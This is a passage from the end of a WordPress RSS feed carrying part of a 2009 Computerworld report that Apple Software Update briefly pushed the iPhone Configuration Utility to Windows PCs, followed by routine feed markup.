<p>Later, <a href="//www.computerworld.com/s/article/9078738/Apple_makes_minor_concession_on_pushing_Safari_to_Windows_users">Apple quietly changed</a> Software Update so that Safari was unchecked, requiring users to explicitly request the browser. By 3:30 p.m. EST, Apple Software Update had dropped the iPhone Configuration Utility as a potential update to the same PCs that had earlier indicated the tool should be downloaded. Apple did not immediately respond to questions about why the iPhone utility had been offered, and whether the company had erred in listing it as an update for Windows users.</p>
<p><img class="alignnone" src="http://www.computerworld.com/common/images/site/features/2009/092009/Apple_Update_iPhone_Config_sept09.jpg" alt="" width="420" height="548" /></p>
<div class="image_large"><img title="For several hours Monday, Apple was pushing an enterprise iPhone tool to all Windows PCs." src="/common/images/site/features/2009/092009/Apple_Update_iPhone_Config_sept09.jpg" border="0" alt="For several hours Monday, Apple was pushing an enterprise iPhone tool to all Windows PCs." /></p>
</div>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/longjidin.wordpress.com/562/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/longjidin.wordpress.com/562/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/longjidin.wordpress.com/562/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/longjidin.wordpress.com/562/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/longjidin.wordpress.com/562/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/longjidin.wordpress.com/562/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/longjidin.wordpress.com/562/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/longjidin.wordpress.com/562/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/longjidin.wordpress.com/562/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/longjidin.wordpress.com/562/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=562&subd=longjidin&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://longjidin.wordpress.com/2009/10/01/apple-pushes-unnecessary-software-to-windows-pcs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/074f62b210fa0b2454cb966ab717e84e?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">longjidin</media:title>
		</media:content>

		<media:content url="http://www.computerworld.com/common/images/site/features/2009/092009/Apple_Update_iPhone_Config_sept09.jpg" medium="image" />

		<media:content url="/common/images/site/features/2009/092009/Apple_Update_iPhone_Config_sept09.jpg" medium="image">
			<media:title type="html">For several hours Monday, Apple was pushing an enterprise iPhone tool to all Windows PCs.</media:title>
		</media:content>
	</item>
	</channel>
</rss>